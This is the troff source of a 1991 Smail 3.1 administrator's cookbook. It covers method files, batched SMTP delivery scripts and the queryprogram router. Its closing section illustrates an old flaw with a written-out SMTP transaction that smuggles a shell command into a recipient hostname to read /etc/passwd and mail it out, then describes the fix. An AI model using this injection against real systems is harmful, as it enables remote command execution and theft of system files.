home *** CD-ROM | disk | FTP | other *** search
/ InfoMagic Internet Tools 1993 July / Internet Tools.iso / RockRidge / mail / smail-3.1.28 / guide / admin / cookbook < prev    next >
Encoding:
Text File  |  1991-11-15  |  14.4 KB  |  416 lines

  1. .\" @(#)guide/admin/cookbook    1.3 11/15/91 16:35:16
  2. .NH
  3. Examples of Smail Run-time Configurations
  4. .PP
  5. The following sections give examples of run-time configurations that
  6. can be used to extend smail in a variety of useful ways.  In general
  7. the examples do not contain complete configuration files and, as such,
  8. they should be merged in to existing configuration files where
  9. appropriate.  When merging in new configuration file entries, keep in
  10. mind that order is important in the director and router files.
  11. .PP
  12. Many of the examples shown here, along with other useful examples, can
  13. be found under the
  14. .B Smail3.1
  15. source directory
  16. .I samples .
  17. .NH 2
  18. Using Method Files
  19. .PP
  20. At the present time,
  21. .B method
  22. files (described in
  23. .I smail (5))
  24. can only be used in run-time configuration files.  Method files can be
  25. used to define the transport to be used on a per-host basis.  An
  26. example of a method file is:
  27. .DS I
  28. .ta 10n 30n
  29. # select the transport on a per-host basis
  30. .sp \n(PDu
  31. # UUCP hosts to which mail should be delivered immediately:
  32. sun    demand    # our internet gateway
  33. muts12    demand    # internal machine, dedicated link
  34. .sp \n(PDu
  35. # Hosts to which mail should be delivered immediately with
  36. # a non-interactive SMTP protocol over UUCP:
  37. busboy    demand_uusmtp    # gateway to sun network
  38. .sp \n(PDu
  39. # Hosts to which mail should be queued with a non-interactive
  40. # SMTP protocol over UUCP:
  41. namei    uusmtp    # experimental Smail3.1 node
  42. .sp \n(PDu
  43. # For other hosts, use normal (queued) uucp mail:
  44. *    uux    # all other hosts
  45. .TA
  46. .DE
  47. Many of the standard preloaded router entries could be modified to use
  48. this method file to select a transport, rather than allowing only one
  49. transport per router.  To make this change, copy the router file
  50. corresponding to the pre-loaded configuration, found in the Smail
  51. source file
  52. .I samples/generic/routers ,
  53. to the smail LIB_DIR directory, normally
  54. .I /usr/lib/smail .
  55. Remove the generic attribute
  56. .B transport
  57. and add a generic attribute
  58. .B method
  59. which points to the uucp methods file.  As an example, let's change
  60. the
  61. .B paths
  62. router, described in the section
  63. .I "The Preloaded Router Configuration" ,
  64. and modify it to use the method file above.  After removing the
  65. .B transport
  66. attribute and adding the
  67. .B method
  68. attribute, the router file entry becomes:
  69. .DS I
  70. # paths - route using a paths file, like that produced by the
  71. # pathalias program
  72. paths:    driver = pathalias,    # general-use paths router
  73.     method = uucp;        # use "uucp" method file
  74. .sp \n(PDu
  75.     file = paths,        # sorted file containing path info
  76.     proto = bsearch,    # use a binary search
  77.     optional,        # ignore if the file does not exist
  78.     domain = uucp        # strip ending ".uucp" before searching
  79. .DE
  80. Assuming that the values for the
  81. .I config
  82. file variables
  83. .B method_dir
  84. and
  85. .B smail_lib_dir
  86. are ``methods'' and ``/usr/lib/smail'' respectively, the above example
  87. will use a method file stored in the file
  88. .I /usr/lib/smail/methods/uucp .
  89. .PP
  90. Method files become extremely useful when extending smail to handle
  91. new situations.
  92. .NH 2
  93. Using Batched SMTP Effectively
  94. .PP
  95. The transports
  96. .B uusmtp
  97. and
  98. .B demand_uusmtp
  99. will allow you to gain the versatility of the SMTP format, such as
  100. support for arbitrary addresses, including addresses containing quoted
  101. characters or white space, and support for a large or unlimited number
  102. of recipient addresses per transaction.  These capabilities are gained
  103. by putting an envelope of commands around the mail message and
  104. shipping the commands and the message in one file.  As an example, a
  105. mail message to be delivered to ``cathy@foobar.uucp'' might be sent
  106. as:
  107. .DS I
  108. HELO busboy.uts.amdahl.com
  109. MAIL FROM: <@busboy.uts.amdahl.com:tron@futatsu.uts.amdahl.com>
  110. RCPT TO: <cathy@foobar.uucp>
  111. DATA
  112. Received: by busboy.uts.amdahl.com id m0d98az-000gtZC;
  113.     Mon Jun 27 18:45 PDT 1988
  114. Received: by futatsu.uts.amdahl.com id m0d98ax-0jaZiiC;
  115.     Mon Jun 27 18:43 PDT 1988
  116. From: tron@futatsu.uts.amdahl.com (Ronald S. Karr)
  117. To: cathy@foobar.uucp
  118. Subject: Hmmm.  It's Email!
  119. .sp \n(PDu
  120. .fi
  121. This is a test of the Emergency Email System.  It is only a test.  For
  122. this and the next several lines we will be conducting a test of the
  123. networks between my machine and your machine.  This test is being held
  124. without the specific knowledge of the network organizers on these
  125. networks, though with their cooperation.  If this had not been a test,
  126. you would have been informed of a restaurant at which you should show
  127. up immediately to partake of foodstuffs in the company of at least one
  128. other person.
  129. .nf
  130. \&.
  131. QUIT
  132. .DE
  133. The line beginning with ``HELO'' identifies the sending host, and the
  134. line beginning with ``MAIL FROM:'' identifies a return-path to the
  135. sender of the mail message.  Any number of recipients may be specified
  136. by giving multiple lines beginning with ``RCPT TO:''.  The ``DATA''
  137. command signals that the actual message follows.  The message
  138. continues until a line containing only a signal dot character.
  139. Finally the command ``QUIT'' signals the end of the complete
  140. transaction.
  141. .NH 3
  142. Batching Multiple Messages in One SMTP Transaction
  143. .PP
  144. The SMTP format allows multiple messages to be specified in one
  145. transaction by repeating everything between the ``HELO'' and the
  146. ``QUIT'' commands (not including those commands themselves) to
  147. specify the envelope and contents of more messages.
  148. .PP
  149. By gathering multiple messages into one SMTP transaction, transport of
  150. mail over UUCP can be made more efficient.  This reduces overhead
  151. in the UUCP protocol as well as the number of mailer invocations
  152. required for mail delivery on the remote side.  Unfortunately,
  153. .B Smail3.1
  154. processes only one message at a time, so it cannot, by itself, create
  155. these multiple-message transaction files.
  156. .PP
  157. However, smail can accumulate messages into a file or into a directory,
  158. using the
  159. .B appendfile
  160. transport driver.  This allows a shell script or C program outside of
  161. smail to create batch jobs to be sent to the uux program.  For ease of
  162. description, we will do this as a shell script.
  163. .PP
  164. It is somewhat difficult in a shell script to perform the file locking
  165. primatives required to support the accumulation of messages into one
  166. file, so we will accumulate messages into a directory, one file per
  167. message, and concatenate these files together at intervals.
  168. .PP
  169. First, we need to write a transport file entry that can handle our
  170. needs.  It should write files into a directory whose name is based
  171. upon the name of the remote host to which mail should be delivered.
  172. These files should contain an SMTP command envelope containing all
  173. commands necessary for delivery except for the HELO and QUIT commands.
  174. The following transport file entry will accomplish this:
  175. .DS I
  176. # accumulate messages into a directory on a per-host basis
  177. batch_smtp:
  178.     # the appendfile driver can also accumulate in directories
  179.     driver=appendfile,
  180.     hbsmtp;        # half-baked BSMTP, no HELO or QUIT
  181. .sp \n(PDu
  182.     # files whose names begin with `q' will be placed here:
  183.     dir=/usr/spool/smail/outq/${lc:host},
  184.     user=cronjobs,    # files will be owned by this user
  185.     mode=0600,    # and unreadable by other users
  186. .DE
  187. .PP
  188. When writing files into a directory, the
  189. .B appendfile
  190. driver first writes the file to a temporary file, with a name
  191. beginning with ``temp.'' and then renames the file to a name beginning
  192. with the letter `q'.  Thus, a shell script can assume that any file
  193. whose name begins with the letter `q' is in a consistent state.  The
  194. shell script to perform the actual delivery, called
  195. .I batchsmtp ,
  196. is then:
  197. .DS I
  198. #!/bin/sh
  199. # deliver messages accumulated into subdirectories of the
  200. # outq spool directory.  Subdirectory names are based on
  201. # the actual hostnames involved:
  202. .sp \n(PDu
  203. OUTQ=/usr/spool/smail/outq
  204. UUX=/usr/bin/uux
  205. LOCALHOST=busboy.uts.amdahl.com
  206. .sp \n(PDu
  207. cd $OUTQ
  208. # loop through all of the subdirectories
  209. for i in *; do (
  210.     cd $i
  211.     list=q*        # get the list of message files
  212.     if [ "$list" = "*" ]; then
  213.         # no messages were found
  214.         exit 0    # leave sub-shell
  215.     fi
  216.     # send all of the files, adding HELO and QUIT commands
  217.     (echo "HELO $LOCALHOST"
  218.      cat $list
  219.      echo QUIT) | $UUX - $i!rsmtp
  220.     rm $list
  221. ); done
  222. .sp \n(PDu
  223. exit 0
  224. .DE
  225. The script above should be run from cron periodically, by either of
  226. the users
  227. .I cronjob
  228. or
  229. .I root .
  230. The execution interval should be long enough that there will not be
  231. any chance that two instances of this script will run concurrently.
  232. Alternately, the script could be changed to loop indefinitely,
  233. performing the above operations and then sleeping for some amount of
  234. time, say half an hour.  This would eliminate any potential problems
  235. with accidental concurrency.
  236. .PP
  237. It is also possible to send the files over in a compressed format.
  238. This can substantially reduce the telephone costs incurred in the
  239. transmission of data over modems, in exchange for greater usage of CPU
  240. time on both sides.  Compression can be done by creating a shell
  241. script on the remote end, called
  242. .I rcsmtp
  243. (for
  244. .I "Read Compressed SMTP" ),
  245. which contains the following:
  246. .DS I
  247. #!/bin/sh
  248. # Receive compressed batches of SMTP commands and send them
  249. # to smail.
  250. .sp \n(PDu
  251. # the following line should be changed to reflect the
  252. # organization of your system.
  253. /usr/local/bin/compress -d | /bin/rsmtp
  254. exit 0
  255. .DE
  256. Then, the
  257. .I batchsmtp
  258. shell script should be modified, to form the shell script
  259. .I cbsmtp ,
  260. so that the pipeline invoking the uux command is:
  261. .DS I
  262.     # compress all of the files, adding HELO and QUIT commands
  263.     (echo "HELO $LOCALHOST"
  264.      cat $list
  265.      echo QUIT) | $COMPRESS | $UUX - $i!rsmtp
  266. .DE
  267. where the shell variable COMPRESS should be the path to the compress
  268. program on your system.  If your site does not have compress, it
  269. can be obtained from a number of sources, including the archives on
  270. the host
  271. .B uunet.uu.net .
  272. .NH 2
  273. Using the Queryprogram Router Driver
  274. .PP
  275. The
  276. .B queryprogram
  277. router driver is handy for performing routing operations for which
  278. none of the other available drivers are suitable.  This calls upon an
  279. external program to perform routing operations.
  280. .PP
  281. Because the
  282. .B queryprogram
  283. driver performs a fork/exec operation for each new hostname, it should
  284. be used only for prototyping wherever possible.  Writing a new driver
  285. which handles your needs is much more efficient.  However, if you have
  286. a low amount of mail traffic, or if you have a dedicated machine and
  287. do not mind the overhead, then this driver may be reasonable.  To help
  288. out somewhat, the driver does cache responses so that a list of
  289. routing requests to the same host will result in only one fork/exec.
  290. .PP
  291. A simple case of the use of the
  292. .B queryprogram
  293. driver comes from a need expressed by one of the administrators
  294. participating in the smail alpha testing program.  His site has a
  295. very large number of UUCP neighbors, and the overhead of using
  296. .B uuname
  297. to obtain the contents of the entire
  298. .I Systems
  299. file was simply too great.  He wrote a command
  300. .B uuinfo
  301. to query a DBM database formed from their
  302. .I Systems
  303. file.  If this command is invoked with the flag
  304. .B \-q
  305. and a sitename, then it will return an exit status of 0 if the site is
  306. a neighbor and 1 otherwise.  A simple router to use this program is:
  307. .DS I
  308. .ta .5i 3i
  309. # use uuinfo to match neighboring hosts:
  310. use_query:
  311.     driver = queryprogram,        # query a program for route info
  312.     transport = uux;        # use this as a default
  313. .sp \n(PDu
  314.     cmd = "/usr/local/bin/uuinfo -q ${lc:host}",
  315.     domain = uucp
  316. .TA
  317. .DE
  318. .PP
  319. In this case, only the status of neighbor versus non-neighbor is
  320. obtained.  It is also possible to call a program that returns a path
  321. and a transport.  A simple case, which would be handled more
  322. efficiently with a paths database and a method file uses the following
  323. shell script,
  324. .I query.sh ,
  325. to perform routing:
  326. .DS I
  327. #!/bin/sh
  328. # The hostname is passed as the first argument, write a path and
  329. # transport for each host that we match.  Alternately, no transport is
  330. # output if the default is sufficient.
  331. case "$1" in
  332. .sp \n(PDu
  333. \e[*)    # look for internet addresses in square brackets
  334.     inet=`echo "$1" | sed -n 's/^\e[\e([0-9.]*\e)\e]$/[\e1]/p'`
  335.     if [ "$inet" ]; then
  336.         echo $inet smtp
  337.     else
  338.         exit 1
  339.     fi;;
  340. foo)    echo foo uusmtp;;
  341. bar)    echo foo!bar uusmtp;;
  342. curds)    echo curds;;
  343. whey)    echo curds!whey;;
  344. *)    echo foo!$1 uusmtp;; # send mail for unknown hosts to foo
  345. .sp \n(PDu
  346. esac
  347. .sp \n(PDu
  348. exit 0
  349. .DE
  350. This shell script outputs a path, with hostnames separated by the
  351. character `!', and may also write out a transport, separated from the
  352. path by space and tab characters.  It can match literal internet
  353. addresses, stored in square brackets, and forwards mail for unknown
  354. hosts to the host ``foo''.  A router file entry which can make use of
  355. this shell script is:
  356. .DS I
  357. # use query.sh to match hosts
  358. use_query:
  359.     driver = queryprogram,        # query a program for route info
  360.     transport = uux;        # use this as a default
  361. .sp \n(PDu
  362.     cmd = "/bin/sh $smail_lib_dir/query.sh ${lc:host}",
  363.     domain = uucp, read_transport, read_path
  364. .DE
  365. This entry assumes that the
  366. .I query.sh
  367. script is stored under the same directory as smail utilities and
  368. run-time configuration files, normally
  369. .I /usr/lib/smail .
  370. The shell script is executed as an unprivileged user.
  371. .PP
  372. The above example can be used to point out something very important:
  373. security is difficult to maintain in an environment where shell
  374. scripts are executed as a result of requests from remote machines.  As
  375. it currently stands, the example above can be used by a remote site to
  376. execute an arbitrary shell command on the local host, for sites
  377. running versions of Smail previous to
  378. .B Smail3.1.3 .
  379. To do this, a remote user could send the following batched SMTP
  380. transaction:
  381. .DS I
  382. HELO foo@bar
  383. MAIL FROM:<foo@bar>
  384. RPCT TO:<dummy pipe!"`cat /etc/passwd | mail $SENDER`">
  385. DATA
  386. Send me the passwd file.
  387. \&.
  388. QUIT
  389. .DE
  390. The problem here is that versions of smail previous to
  391. .B Smail3.1.3
  392. allow whitespaces in hostnames.  Thus, for the recipient address
  393. above, the
  394. .I query.sh
  395. shell script would have been invoked with a host of ``dummy pipe''
  396. which would have caused the shell script to return the line:
  397. .DS I
  398. foo!dummy pipe uusmtp
  399. .DE
  400. which would then have caused the
  401. .B pipe
  402. transport to be invoked to run the shell command:
  403. .DS I
  404. dummy!"`cat /etc/passwd | mail $SENDER`"
  405. .DE
  406. The command in backquotes here would then cause your passwd file to be
  407. returned to the ``foo@bar''.  The version of this script in the
  408. samples directory takes care of this problem by explicitly checking for
  409. whitespace in the hostname.  Versions of Smail starting with
  410. Smail3.1.3 explicitly allow only alphanumeric characters, and a small
  411. set of special characters (dot (`.'), dash (`-'), underscore (`_'),
  412. plus (`+') and equal (`=')), in hostnames.  In addition, hostnames are
  413. prohibited from beginning with a dash character.  It should be noted
  414. that any characters are still allowed if the hostname begins with a
  415. left bracket.
  416.